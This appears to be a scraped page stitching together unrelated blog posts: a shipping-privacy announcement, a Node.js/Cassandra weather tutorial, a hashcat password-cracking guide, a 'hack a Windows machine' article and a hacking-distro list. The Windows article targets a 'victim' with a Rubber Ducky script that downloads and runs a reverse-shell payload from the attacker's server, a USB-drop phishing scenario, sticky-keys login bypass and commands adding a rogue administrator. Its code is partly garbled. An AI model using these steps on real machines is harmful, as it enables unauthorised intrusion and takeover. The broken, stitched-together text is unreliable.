address. Best of all, all this is free as a recipient. And as the sender, you’ll benefit from discounted pricing, as Sora works with aggregators to get bulk discounts. The Beta features are deliberately limited, but very soon, you’ll be able to do much more, such as: Obtaining personalized private shipping links for Linktrees Allowlisting and Denylisting individual emails or even your whole address book Shipping with several different carriers, domestic and international Bulk shipping to your address book, Instagram followers, Facebook friends, and more Managing and updating multiple addresses and emails Direct integrations with popular eCommerce sites like Shopify, Etsy, Poshmark, and more We are super excited about the use cases that Sora can enable, and we want to build around real problems faced by real users. If you have any questions or feedback, please email us at . info@soramail.it Finally, please give us a follow on Medium and on Twitter at @SoraMailHQ! Also Published At: https://medium.com/@soramail/introducing-sora-addressless-shipping-4f08365e0fd9 Endnotes [1] See, for example, the major jump in US eCommerce penetration in 2020 to 35%, up from ~15% in the previous year. McKinsey, ”Five-Fifty: the quickening.” [2] Pew Research Center’s “Americans and Privacy” [3] Cisco, “2019 Consumer Privacy Survey” [4] Wired, “DuckDuckGo’s Quest to Prove Online Privacy Is Possible” [5] Statista, “US data breaches and exposed records.” [6] IBM, “Cost of a Data Breach Report 2021”

Sora Enables Shipping While Keeping Your Address Private

In this tutorial, you will build a minimal Node.js application that tracks real-time weather data from WeatherAPI.com using a Node.js application and ingests it into Apache Cassandra. You can create a weather app after reading this tutorial. This app will push weather alerts or notifications and analyze weather patterns. Prerequisites Before getting started with the tutorial, you'll need the following: A local Node.js installation that comes with npm, the default package manager. Node.js: GitHub repositories for the and the for you to clone locally. Git: Node.js/Cassandra application WeatherAPI.com API Node.js SDK to use with an API or driver. DataStax Astra: Serverless Cassandra database Real-time weather data using a free or a subscription-based plan (fetching large amounts of data). You will need a WeatherAPI.com API key to get this data. API: WeatherAPI.com Clone the WeatherAPI SDK We will be using the official SDK for WeatherAPI. To get started, clone the GitHub repository using the following command: git clone git clone git@github.com:weatherapicom/weatherapi-Node-js Go to the repository and run the following to enable linking the SDK with our weatherapi Node.js tutorial application: npm link command cd weatherapi-Node-js
npm install
sudo npm link Make sure you run with to ensure that the has access to the global packages for creating the symlinks. You are now ready to clone the next repository. npm link sudo npm link npm Clone the Cassandra Node.js application hosts a minimal Node.js application that fetches and ingests real-time weather data into Cassandra from WeatherAPI.com. The application uses the official Node.js SDK to make API calls to the weather API. It is a single-threaded application with configurable batch querying and ingestion capability. The application uses the Node.js package to store the configurable settings. This repository config The application will fetch and ingest weather data: temperature, wind speed, humidity, visibility, and wind direction. We will discuss the configuration settings and location types accepted by the application later in the tutorial. You can clone the Cassandra Node.js WeatherAPI.com application using the command: git clone cd ..
git clone git@github.com:kovid-r/cassandra-nodejs-weatherapi.git
cd cassandra-nodejs-weatherapi After cloning the repository, you should install the Node.js dependencies specified in the and files. will take care of installing the dependencies using the following command in the repository directory: package.json package-lock.json npm npm ci To link the SDK node modules, run the following command: npm link weatherapilib Please note that you will need to rerun this command whenever you make a change in the application dependencies and run . These instructions are also present in the file in the repository. npm ci README Create a database In this tutorial, we will use DataStax's multi-cloud DBaaS, built on Apache Cassandra, called Astra DB. You will need to for DataStax Astra DB to . sign up spin up a Cassandra database For learning and playing around Cassandra, you won't need any more than the free $25 credit per month that Astra already offers its users. This translates to a free monthly allowance of roughly 40 GB of storage, 30 million reads, and 5 million writes - sufficient for small production applications. You can sign up with Google or Github, and no credit card is required. Click on the option. This will lead you to the following page, where you can create a database on any of the three leading cloud providers globally: Google Cloud, AWS, and Azure. You will need to provide the name ( ) and the name ( ). You can read more about creating databases in . Create Database database weather keyspace realtime Astra's official documentation Initialize the database To access the database for the first time, use the in-browser CQL shell. You can initialize the database by running the following command in the shell. This command creates a table that will store all the different fields from the API. WeatherAPI.com Initialize the database To access the database for the first time, use the in-browser CQL shell. You can initialize the database by running the following command in the shell. This command creates a table that will store all the different fields from the WeatherAPI.com API. -- Create a table to realtime weather data
CREATE TABLE realtime.weather (
    id UUID PRIMARY KEY, 
    city TEXT, 
    region TEXT, 
    country TEXT,
    lat DOUBLE,
    lon DOUBLE,
    tzid TEXT,
    temp_c DOUBLE,
    temp_f DOUBLE,
    condition TEXT,
    wind_mph DOUBLE,
    wind_kph DOUBLE,
    wind_degree DOUBLE,
    wind_direction TEXT,
    pressure_mb DOUBLE,
    pressure_in DOUBLE,
    precipitation_mm INT,
    precipitation_in INT,
    humidity INT,
    cloud INT,
    feelslike_c DOUBLE,
    feelslike_f DOUBLE,
    visibility_km DOUBLE,
    visibility_m DOUBLE,
    uv INT,
    gust_mph DOUBLE,
    gust_kph DOUBLE,
    apicall_epoch BIGINT,
    apicall_dt TEXT,
    lastupdated_epoch BIGINT,
    lastupdated_dt TEXT
    ); Download the secure bundle You need to download the to your Node.js application directory. Make sure that your browser doesn't unzip the file while downloading it. You will need to provide the path to this file to the configuration later; for more information about the Secure Bundle, head over to . DataStax Secure Bundle zip file DataStax Astra's official documentation Generate an authentication token The next step is to generate an authentication token. To do that, click the option on the top menu bar. You will land on a screen shown in the image below: Billing Go to the option in the left menu bar, choose the in the drop-down menu, and press . Token Management R/W User role Select Role Generate Token You will see the following screen with your authentication token. Download the Client ID, Client Secret, and Token in a CSV. You can also copy them directly. Now that you have installed the repositories, generated the token, created the database and database objects, you're good to give your application a run! For more information, please check the for managing tokens in Astra. official documentation Use npm config for authentication You'll see that we are using the package to avoid storing token information in our code in the application. There are two JSON files in the configuration: config -  contains secrets and application parameters. default.json -  contains locations for fetching weather data. development.json The first file default.json looks like the following: {
    "apiKey": "Place your WeatherAPI.com API Key here!",
    "dbSettings": {
        "cloud": {
            "secureConnectBundle": "/path/to/secure-connect-bundle.zip"
        },
        "credentials": {
            "username": "Place your Astra clientID here!",
            "password": "Place your Astra clientSecret here!"
        }
    },
    "requestBatchSize": 1000,
    "insertBatchSize": 1000,
    "getWeatherDataFreqMs": 100,
    "getWeatherDataDurationMs": 60000,
    "language": "en"
} Make sure you put the API keys and secrets for Astra and before running the application. Also, be careful about changing this file and committing the changes back to your remote repository. Let's be honest; we've all done that. To prevent that mistake from happening, you can add this file to . WeatherAPI.com .gitignore The second file is just a single-key JSON file with an extensive array of locations in heterogeneous formats - lat/long combinations, city names, zip codes, IP addresses, IATA codes, and so on. {
    "placeCodes": ["95227", "95228", "95230", "Melbourne", "Delhi", "New York", "Cape Town", "London", "Tokyo", "Singapore", "-44.31208,-75.81100", "DXB", "CT3", "LE14", "BN41", "Dubai", "Moscow", "Lahore", "Karachi", "Kabul", "M4B 1B3", "K8N 5W6", "Rohtak", "Hobart", "Shimla", "Cleveland", "Santa Clara", "90210", "Dalhousie", "Sydney", "L7B 0G6", "L9C 1J4", "R7N 1Y1", "J4M 1B5", "J7B 0A2", "V1J 6W3", "S0H 3P0", "T2W 0Z5", "G1S 4T5", "V3V 3H7", "T3M 2E6", "R3L 1E5", "H9R 3J3", "H9X 4A1", "G1H 7C3", "G0A 3C0", "K8N 5R1", "G1R 5B9", "J8L 2C9", "H3X 1N8", "M9B 2N2", "J9J 1N7", "T3G 2W9", "J6Z 2X2", "E4X 2H6", "T3E 3L1", "E1N 2B7", "V1J 1Y9", "J0B 3E2", "V2P 1E6", "R2V 2P8", "L6Y 1C7", "CAN", "ATL", "CTU", "DFW", "LHR", "PHX", "DEN", "HND", "DEL", "IST", "MEX", "GRU", "Bangalore", "Venice", "Vienna", "Prague", "Tallinn", "Delft", "Auckland", "Wellington", "59858", "59859", "59860", "59863", "59864", "59865", "59866", "59867", "59868", "59870", "59871", "59872", "59873", "59874", "59875", "59901", "59910", "59911", "59912", "176.13.69.63", "129.134.0.3", "129.134.0.1", "Shanghai", "Sao Paolo", "Beijing", "Mexico City", "Cairo", "Ahmedabad", "Mumbai", "Okaka", "Kolkata", "Manila", "Lagos", "Lima", "Paris", "Jakarta", "Chennai", "Pune", "Shillong", "Srinagar", "Rajkot", "Seoul", "Chicago", "Tehran", "Dallas", "Wuhan", "Ho Chi Minh City", "Hong Kong", "Riyadh", "Baghdad", "Surat", "Madrid", "Houston", "Hawaii", "Miami", "Philedelphia", "Atlanta", "Barcelona", "209.85.231.104", "207.46.170.123", "Seattle", "72.30.2.43", "72.30.2.43", "208.80.152.2", "143.166.83.38", "143.166.83.38", "143.166.83.38", "72.21.211.176", "72.247.244.88", "212.58.241.131", "212.58.241.131", "207.97.227.239", "74070", "74071", "74072", "74073", "74074", "74075", "74078", "74079", "74080", "74081", "74082", "74083", "74084", "74085", "74103", "74104", "74105", "74106", "74107", "74108", "74110", "74112", "74114", "74115", "74116", "74117", "74119", "74120", "74126", "74127", "74128", "74129", "74130", "74131", "74132", "74133", "74134", "74135", "74136", "74137", "74145", "74146", "74301", "74330", "74331", "74332"]
} Run the Node.js application If you have configured everything correctly, you should be able to run the following command from your Node.js application directory now: npm start Once your application starts fetching data and inserting it into Cassandra, you'll see some basic log messages on your terminal, as shown below: If you're going to be ingesting a lot of data, you can keep track of your quota usage on the Astra website, as shown in the image below: Astra also provides a for you to analyze Astra's performance with reads, writes, and latency. You can find this dashboard under the Health tab as shown below: browser-based Grafana dashboard You can also log into your CQL console to fetch some data from the as shown in the CQL query and image below: realtime.weather select id, city, country, lat, lon, 
       temp_c, temp_f, feelslike_c, feelslike_f, 
       wind_kph, wind_direction, condition,
       lastupdated_dt
  from realtime.weather 
 limit 50;
 
select id, city, country, lat, lon, 
       temp_c, temp_f, feelslike_c, feelslike_f, 
       wind_kph, wind_direction, condition,
       lastupdated_dt
  from realtime.weather 
 where country in ('USA','Canada','UK')
limit 50
allow filtering; Cassandra is . Since it often acts as the system-of-record for customer-facing applications, Cassandra is frequently the source database in ETL pipelines, Change Data Capture (CDC) messages, or streaming data to other analytics, warehousing, or search functions in your IT landscape. As long as the reads are within the best practices of querying in Cassandra, you'll get a compelling performance. a great place for fast ingestion Querying Now that you have ingested weather data into the table, let's look at a few simple queries to retrieve data from the table. One of the first queries you'll want to write is to look at the weather for a given city. One of the best features of Cassandra is that it explicitly prevents you from writing bad queries. In the above example, you can see that the first query fails because there is no index on the city. You can explicitly do a full scan by using the clause; however, it will be a very costly operation. A better way to do this is by creating a on the city column. Once you add the index, you won't need to add the clause to your query, and Cassandra won't scan the whole table, saving compute resources. Notice that just after creating the index, you won't be able to query the index. It takes a while for the index to be available. This minimal lag will also depend on the you have configured for your database. allow filtering storage-attached index (SAI) allow filtering read consistency Let's look at another query. Instead of querying based on the city, this time, let's say you want to get the latest records from the table based on the last updated time. Note that in this example, we have used a different method of creating a storage-attached index specific to AstraDB. Conclusion In this tutorial, you learned how to use Cassandra as a time-series database to capture real-time (10 ms) weather data for numerous locations worldwide using a Node.js weather tracking application. You also learned how to spin up a DataStax Astra database in the cloud using the cloud provider of your preference. Currently, DataStax Astra supports Google Cloud, AWS, and Azure. As mentioned at the beginning of the tutorial, Cassandra makes a great candidate for a wide range of applications, especially for append-only, write-intensive loads, which is why Cassandra works so well with high frequency, high volume applications. Go ahead, give it a try, and please reach out if you have any questions or feedback at or connect with me on . kovid.rathee@protonmail.com LinkedIn

How to Build a Node.js Weather App with Cassandra

is a really important topic in ethical hacking. When comes to hackers, the first thing people think of is cracking a great number of passwords, which proves to be true. It may be website dump hashes, data breach hashes, wifi WPA2 hashes, or windows NTLM hashes, etc. Password cracking For all these passwords, here are tips on how you can be the most resourceful, accurate, and efficient when cracking a password. Topics to Cover Tools Required How to Set Up a Cloud Server Password Files OSINT in Password Cracking How to Protect Yourself Tools required The most important of all tools is - a free cross-platform password cracking utility that can crack thousands of passwords in just a few seconds. It is fast and accurate. hashcat The second tool is - a medium to transfer files from our cloud cracking server to our main hacking machine. git The third tool is . It's a python tool that does a great job in identifying the hash we are working with and with all these tools you also need high-speed internet. hashidentifier.py These are the tools and programs required to complete this process. Other than the above software requirements, we also need a cloud server such as or . Google Cloud Linode server How to Set Up a Cloud Server You might be asking: Why do we need a cloud server for password cracking? Because they tend to be really fast. Due to being mostly command lines, they don't have other background apps running which makes them easier and cost-effective to work with. Other than that, you can choose the level of CPU, graphics card power, and the amount of storage you want. I would recommend at least medium-sized storage, a powerful CPU, a graphics card, and around 4-8 GB of RAM. For all that you simply require a cloud worker setting. Select in the dashboard in case you are in Google Cloud or in Linode. Create VM example The cost of these VM stands anywhere from $5-10 per year. That's very cheap for a super high power system with great features which comes both in Linode and Google server. Both server providers provide a $100 credit for a year and this makes it free for you to use for 1 year and then $5 per month after. The expense of these VM stands somewhere in the range of $5-10 every year. That is exceptionally modest for a very high force framework with incredible provisions which comes both in Linode and Google worker. Both worker suppliers give a $100 credit to a year and this makes it free for you to use for 1 year, and afterwards $5 for each month after. Once you have your instance ready, . copy-paste the following command To get an update and upgrade to the latest Sudo apt update && upgrade Install hashcat, git & python3 Sudo apt install git 
Sudo apt install hashcat 
Sudo apt install python3 Once everything is installed and working well, the following repo for the hash identifier. git clone Git clone https://github.com/blackploit/hash-identifier Once git is cloned now you can use this like a password cracking utility. However, there is a catch. You don't have a password file to do that. Password files For a password file, there are different options. If you know the person's personal details and want to crack the password using those details, you can use a and a . Alternatively, you can use a that picks out all the password combinations for all types of password crackers. cupp program python tool sequenced password generator Installing cupp: Git clone https://github.com/Mebus/cupp Code for sequenced password generator: #python3

import random
import itertools

#+---------------------------------------------------+
#|welcome to a custom synchronised password generator|
#+---------------------------------------------------+
#<===============[Made by Morpheuslord]==============>
#              twitter= @morpheuslord2
#        email= morpheuslord@protonmail.com

Range_1 = int(input("enter your password range: "))
Range_2 = Range_1 + 1

lower="abcdefghijklmnopqrstuvwxyz"
upper="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
numbers="0123456789"
symbols="!@$%^&*{[()]}<>"

def guess_password(real):
    chars =  lower+upper+numbers+symbols
    attempts = 0
    #enter the range of your password the range your password
    #the range of passwords you want a list of
    for password_length in range(Range_1 , Range _2):
        for guess in itertools.product(chars, repeat=password_length):
            attempts += 1
            guess = ''.join(guess)
            if guess == real:
                return 'password is {}. found in {} guesses.'.format(guess, attempts)
            print(guess)
#enter a random password or enter '>>' with the corresponding
#password length for getting the most possible
#password combination
print(guess_password('>'))
#The password file wont be generated until you use it on windows or linux 
#currospondingly In the print(guess_password()) You need to enter the > symbols according to your range. If your range is 11, there must be 11 symbols in single quotes in the brackets. OSINT in password cracking To achieve the most in password cracking, you need to do some OSINT or open-sourced intelligence which is cracking all the information about the target 🎯 to get the most out of it. For eg:- If you have a password hash and want to crack it and if you need to check how many password characters there are in the login of the network. For that, if you have an Android then when you are entering the password input check for the join button. Once you meet the password length criteria the join button turns green for joining it so using that you can determine the length of the password and it makes things super easy to work with. There is another scenario for this case if you are cracking a hash and you know the format of the password like a 4 digit letter and 2 digit password and 1 special character then you can use hashcat to do a mask attack which is a Brute force attack with a lot of new features. How to Protect Yourself As an average person using the internet for your daily work, you must consider keeping a password with a minimum of 11 characters to 15 characters and never reveal the actual character count to anyone else. Then enable 2-factor authentication and use all the ways you can use to safeguard your account. In an enterprise environment, this is a big thing as from one employee account you can actually access a lot of data which can affect the company’s privacy and security issues, potentially leading to a huge loss. Follow Me Follow my Twitter account for the latest updates Twitter - @morpheuslord2 Instagram - @morpheuslord_9034 Email me - morpheuslord@protonmail.com

How to Crack a Password Using Hashcat

How We Pay For Free Websites With Our Privacy

In this article, we are looking into the most effective and the most interesting ways that you or a hacker can hack into a Windows machine and we are going to cover topics related to the hardware, software, CVE's and all the ways you can set up them to run it successfully. Windows is the most commonly used operating system in the market and nearly 90% of us use windows in our day-to-day life. It is a system preferred by common people as it is easy to use and comes with a wide range of products and games for gamers and common people. Topics to cover Payload injection. Social Engineering. Using Bash Bunny and Rubber Ducky. Bypass The Login page. Problems and risks faced. Previous Windows vulnerability and CVE's. Speed and effectiveness of Bash Bunny and Rubber Ducky. Payload injection Payload injection is a common practice in hacking when a hacker gets into your system he tends to create a long-term connection with the system. For that he needs to inject a payload into the system in this case we can use the famous Rubber Ducky and the ducky script and a server with Metasploit to do this. Preparation: Start Metasploit apache server. Load the windows payload into the website. Keep the server open until used. Load ducky script and configure it to download and run the file from the server. Execution: Start Metasploit apache server: You need to consider that you don't know when the victim will download the file and run it so for that. I suggest you place the file in a remote location on some webpage and provide the direct download link to the rubber ducky to do the job. I have my personal webpage and I have hidden an Inaccessible part of the page where I have stored the .exe or the payload which I configured that gives me a reverse connection to my hacker system. Load the windows payload into the website: So I have done loading it into my website and I have gained the link to it. Keep the server open until used: I have a raspberry pi in my workstation that works 24/7 with really good internet with another system running the hacker machine in another raspberry pi which I have a connection with a highly secure SSH connection from which I monitor and listen from the target. Load ducky script and configure it to download and run the file from the server: Here is a simple ducky script that does the work for you. REM Title: Powershell Wget & Execute            Author: Mubix                  Version: REM Description: Opens Run menu, throws power shell string, enter. Supports HTTP/S and Proxies.
GUI r
DELAY STRING powershell ( -object System.Net.WebClient).DownloadFile( ); Start-Process ENTER 1.2 100 new 'DOWNLOAD LINK' "%TEMP%\PAYLOAD NAME" In place of DOWNLOAD LINK add your payload download link and in place of PAYLOAD NAME give your payload name. This will run the code for you and it is really fast it completes its task in seconds. This will give a reverse TCP or HTTP connection according to your payload of choice. Social Engineering Our previous payload injection is a part of social engineering. So to complete the payload injection you need to at least have the system free for twenty seconds or so to do it. If you place the payload which does not have a lot of data is not huge in size it won't be an issue but make sure that you have the system free for about 20 seconds. For a better explanation let us imagine two characters A and B A is the hacker and B is a normal software engineer in a company called Ramtech. One day B found a random Pendrive on the streets and picked it up out of curiosity. The Pendrive was a Rubber Ducky set up by A to hack into the companies systems using B's curiosity as the lead. A has set up a similar windows payload into the Rubber Ducky and when B plugs the USB in his workplace he is shocked with a sudden splash screen and nothing else and out of fear he plugs out the USB but A has received a reverse connection and has gained access into the companies system and got a chance to do a data breach. The above story is a really common way a hacker gets access into systems and This is known as spear Phishing where the hacker knows about B and is taking advantage of his weakness which is curiosity. Using a Bash Bunny and a Rubber Ducky Bash Bunny: Bash Bunny is a Hak5 product used to automate credential grabbing, payload injection, etc. It is basically a Debian system with an 8Gb nano SSD a 512Gb ram and a new feature of adding a 1 Tb worth Extention via an SD card and it is announced on their youtube channel. You can buy it on their official website link to the store You can use the most famous Credential Grabber from one of its huge arsenal of payloads its specialty is that capturing the password hash it cracks it with the provided password file or list. It's really easy to set up and does not require a high knowledge of coding. A link to David Bombal's video regarding credential grabber link to the video There a lot of tools with the credential grabber like the Ducky script which allows hacking into number lock brute-forcing android hacking software and much more and works with a change in three of its switches. This is what Hak5 has to tell us about Bash Bunny: "This is done in such a way that allows the Bash Bunny to be recognized on the victim's computer as the fastest network, without drivers, automatically – locked or unlocked. As a 2 gigabit adapter with an authoritative DHCP server, the Bash Bunny obtains a low metric. This means that the computer will instantly trust the Bash Bunny with its network traffic — enabling a plethora of automated pocket network attacks undetectable by the existing infrastructure. These bring-your-own-network attacks are cross-platform, with the Bash Bunny exploiting Mac, Linux, and Android computers with its ECM Ethernet attack mode, and Windows computers with its Microsoft proprietary RNDIS Ethernet attack mode. Using these methods, attacks like QuickCreds can steal hashed credentials from locked computers in seconds. Plug the Bash Bunny into a computer, wait a few seconds and when the light is green – the trap is clean! Let's take a look at how the Bash Bunny pulls off this simple and effective attack. First, we issue the Ethernet attack mode specific to our target. If it's Windows, we'll want to use RNDIS_ETHERNET. If it's a Mac or Linux target, we'll want to use ECM_ETHERNET. Even better - if we're not sure, simply use AUTO_ETHERNET which will try both." copied the coated content directly from the Hak5 web article Rubber Ducky: Rubber Ducky is a small USB-like device that can run commands like a keyboard on a victim's computer using a specific script known as ducky script. This is really useful in cases of brute-forcing login screens directly downloading and running payloads from the internet etc but it is not as efficient and all-in-one as the Bash Bunny But it is really effective. This is what Hak5 has to tell us about the Rubber Ducky: "A two-second HID attack against Windows and Mac that launches the website of your choosing. That's by far the most effective security awareness payload for the USB Rubber Ducky . Cybersecurity awareness building is important, and developing an effective security awareness program - or at least raising eyebrows that one is even necessary - doesn't need to be difficult." copied the coated content directly from the Hak5 web article Bypass the login page There are so many methods used by hackers to bypass login screens of windows some of them are below: Using kon-boot. Using the quick link menu. Using the pc-unlocker. Using passgeeker. Using shift. Using kon-boot: Kon-boot is a really effective tool to use to reset the lock screen password you need to first buy the license for it I prefer you buy the 2 in 1 window and mac os bypass. First: You need to purchase the license which after the payment will be emailed to your email account. Second: You need to flash the tool to a Pendrive with a minimum of 16Gb memory for better performance. Usage: Once you have flashed the tool to a Pendrive you can use it to flash the existing os to Bypass the login screen. As simple as it can get the victim's pc is now yours just change the password and use it as you wish.😊 Link to kon-boot website www.kon-boot.com Link to Zaid Sabhi's tutorial youtube.com The above tutorial from Zaid will help you a lot on kon-boot. Using the quick link menu: The Quick link menu is a dropdown menu by which we can access the command prompt, Powershell, task manager, etc. By using we can call the dropdown and using the following commands we can create a new superuser for the windows machine. WINKEY + X net user HACKER /add
net localgroup Administrators HACKER /add In the above code, HACKER is a new superuser for the machine and he has admin powers to manipulate things in the machine. : Using pc-un-locker tool Pc un-locker is a well-renowned tool for resetting the password of your device but it comes with a catch it permanently removes the device creds and may need you to reset the system please use it with caution. This is similar to Kon Boot just install it on a USB drive and then flash it on your pc this is only for windows and does not work with mac or any other system types. step1: and install the program on any accessible computer (not the locked pc) just install it from the link and store it on another pc or a sandbox image for further safety. Download step2: Run it and burn it to a blank CD /DVD or USB flash drive. Mostly use USB who uses DVD in 2021? Use USB 3.0 for more speed and if you can use a type-c USB for the job. step3: Boot locked PC from the newly created disk to reset the admin password. For this, you need to boot from the Bios of the pc if you don't know how to do that just google the laptop name, version, and model, etc. And you will get all the info you need. There is a standard license of $29.95 which I prefer as it is better compared to the free ones but the free ones are also fine in many cases. Using passgeeker: Passgeeker or sysgeeker is a simple tool same as Kon Boot, Pc-unlocker and all the other programs it works on the bios flash method so no need for further explanation on this. Using Shift: This is really complex and has a low chance of success but is really effective. You can do this in 2 ways I will explain both in detail the 2 methods are: Social engineering Windows ran into a problem Method-1 Social engineering: This has to be done with speed. First, take the target's computer and then navigate to the system32 folder. And change to and to just interchange the names and that's all you have to do. sethc.exe cmd.exe cmd.exe sethc.exe Now, when the target locks his screen, opens his laptop, and presses the shift key 5 times this will start the Sticky key feature because you have interchanged the names it will instead start Cmd for you with admin permissions. Now type the following commands: net USER_NAME PASSWORD /add user Then: net localgroup administrators USER_ACCOUNT / add It should look something like this: Now you need to completely shut down the system after 5 to 6 min after that if it allows you to log in to the system congrats you have hacked the system. Method-2 Windows ran into a problem: You can trigger this issue by force shutting down the system and cutting the power off this sometimes triggers a screen where you will be given repair options which include Command prompt. Now when you choose command prompt, it shows X:/ drive instead of C:/  for that you need to enter the following command: C: cd And then just copy and paste the commands from below: cd c: indows ystem32\ \w \s and enter the command to change the names of the files: Ren sethc.exe cmd.exe && Ren cmd.exe sethc It should work and if it doesn't for some random case just reboot all of it you may lose the data but you get to keep the device technically it's a win if you ask me 🤔🤔🤔. These are the ways you can actually Bypass the login screens of the systems and these are the most effective ones out there to use and which gives the best output. Problems and risks faced First of all, in all of it, the most basic problem is loss of data if you are the guy who is interested in the person's data you may prefer to steal the data in other ways don't use these methods as they have the risk of losing data. Secondly is getting caught if you are trying to hack an office machine you have the most risk of getting caught then you are at high risk and you may be jailed for this act. Thirdly you have the chance of getting nothing like you might have no data OS then you should be happy with the hardware only. Previous Windows vulnerability and CVE's The most recent ones are which is a remote code execution vulnerability with a severity of 9.0 that's the highest which is close to being critical if you are a casual person who is reading this for entertainment then Note: UPDATE YOUR SYSTEM PLEASE. " CVE-2021-34527 269 " The above CVE was copied directly from cvedetailes.com website. check for the complete list of vulnerabilities for windows  from this website CVEDETAILS.COM And check your windows update regularly. Speed and effectiveness of Bash Bunny and Rubber Ducky Reminding you that Rubber Ducky and Bash Bunny are from Hak5 and I have explained about them enough above. I will get to work and explain their speeds and effectiveness. And I am going to score the 2 for Reliability, compatibility, speed, effectiveness. Bash Bunny: Bash Bunny mark 2 is considerably fast it has a 7-sec delay and has 500 Mb of ram and 1 Tb of memory expansion and a built-in NVMe drive and that's fast compared to any other device out there and if you ask effectiveness it is super reliable in any case possible it can run Ducky scripts which makes it into a Rubber Ducky and in itself, it is a desktop and a mini pc which you can SSH into and use it and it has a wide range of payloads and tricks under its sleeves making it a clear pen-testers must needed tool. But the only downside is it is a huge thing it is bigger compared to a LAN turtle. Reliability: It's very reliable in any possible case. Compatibility: It's really compact for a pocket pc but in this case its size is huge. Speed: It's really fast compared to Rubber Ducky and that's great. Effectiveness: It's the most effective all-in-one tool for complete penetration testing. Score: 5 out of 6 Rubber Ducky: It is a really powerful tool for brute-force or any of that sort of keystroke injection and payload injection tool but in comparison to Bash Bunny it stands no chance Reliability: It's very reliable in only some cases. Compatibility: It's really compact and that helps it in social engineering. Speed: It's really fast for keystroke injection but it is slow compared to Bash Bunny. Effectiveness: It's the most effective tool for some cases like giving jump scares and starting reverse shells and all. Score: 4 out of 6 In all I prefer you buy both as each one has its own special feature and all so if you can afford to buy both. Follow me Follow my Twitter account for the latest updates Twitter:@morpheuslord2 Instagram :morpheuslord_9034 email me: morpheuslord@protonmail.com

How to Hack a Windows Machine Like a Pro Hacker

These are operating systems with the best kernel installed in it and with the solid configs are considered best o/s for a hacker. This is the basic requirement. There is a wide range for selection. We will be discussing five operating systems, there benefits and drawbacks . The Top 5 os Are Kali Linux BackBox Parrot os Blackarch-linux DEFT linux These are the various Linux distros considered the best for hacking and penetration testing. Kali Linux Kali is one of the most most popular and a Linux distro preferred by It has all the tools required organized in a very orderly manner. I prefer to use this as there are new updates given in regular intervals. Kali is an and it is built on which is a really fast distro in its own right. offensive security open-source distro debian : Kali Linux contains a large number of penetration testing tools from various different niches of the security and forensics fields. This site aims to list them all and provide a quick reference to these tools. In addition, the versions of the tools can be tracked against their upstream sources. Here is the tool listing website Kali tools kali.org : Metapackages give you the flexibility to install specific subsets of tools based on your particular needs. For instance, if you are going to conduct a wireless security assessment, you can quickly and include the metapackage to only install the tools you need. Kali metapackages create a custom Kali ISO kali-linux-wireless : kali advantages Advanced Penetration Testing tools : In the Kali Linux, more than 500+ advanced Penetration Testing tools are included. The tools of BackTrack Linux which are not up to the mark or repeated in many ways has been replaced in the Kali Linux system with the advanced penetration testing tools. Free Linux tool : The Kali Linux system is totally free like the BackTrack Linux and will always offer their users the free life time services. This is huge plus factor which forces people to use this system. Open sourced Git : This Kali Linux is an openly sourced system and can be easily accessed by the users. All the codes in the Kali Linux can be viewed easily by anyone and the open development source makes easy to view the development of coding at every step. Support : Kali address to the File-system Hierarchy Standard, allowing Linux users to easily locate binaries, support files, libraries, etc. This is the very important feature of the Kali Linux that makes it stand out among the other Linux systems. The new update has made Kali Linux more user friendlyfriendly. T : kali disadvantages KALI is not as easy to use, because it’s penetration oriented, and it doesn’t even try to hold your hands. or molly coddle a newbie KALI is not exactly the most training oriented Linux. You will need to find Wiki sources In the process of using KALI for NORMAL computing, you may trash some of KALI’s specialized settings for it’s own security. BackBox is more than an operating system, it is a Community Project with the aim of promoting the culture of It is all built with exclusively Free Open Source Software, demonstrating the potential and power of the Community. This distro is built on debian and ubuntu. BackBox Free Open Source security in IT environment. advantages : Capability Set Ease Of Use Release Rate Pricing And Support API and Extensibility disadvantage : Bug Bounty Program Learning Curve Community support surface attack probability Parrot OS Parrot OS  is a based on with a focus on security. One of the main advantages of Parrot OS compared to Kali Linux is that Parrot OS is lightweight. This means that it requires much less disk space and processing power to run effectively. Linux distribution Debian advantages:- The theme of Parrot is sleek, and easy to navigate. Perfect for a hacking NewB Has everything right where you need it. The menus are well organized. Comes with anonymization services you can enable with one mouse click. disadvantage:- Must download important tools (such as snort) from repositories Not minimalistic out of box, although that can be changed with a few GUI tweaks and a different wallpaper Out of Box desktop is somewhat cluttered with shortcuts BlackArch-linux BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cybersecurity tools. It is an open-source distro created especially for penetration testers and security researchers. The repository contains more than 2600 tools that can be installed individually or in groups. advantages: A great amount of tools come out of box and is well defined in a single page BlackArch is designed for the pros in mind Very very minimalistic has a huge community support disadvantage: Not recommended for the NewB. Kind of difficult to get used to if you're used to other distros. Extensive knowledge of linux is preferred needs a lot of linux knowledge and not user friendly DEFT linux (Digital Evidence & Forensic Toolkit) is a customised distribution of the Ubuntu live CD. It is an easy-to-use system that includes excellent hardware detection and some of the best open-source applications dedicated to incident response and computer forensics. DEFT Linux advantages: it's good for forensics and concentrates mainly on forensics very recommended for forensic experts disadvantages: its a live cd distro and it's bulky needs more experience in forensic field verdict I recommend you to use Parrot OS or Kali Linux only if you are a person with enough experience. Newbies should try the other Linux distros here. contact Follow my twitter account for latest updates twitter :- morpheuslord2 instagram :- morpheuslord_9034 email:- morpheuslord@protonmail.com

Stories, News & Mentions about PROTONAI

Protonai’s Stories on HackerNoon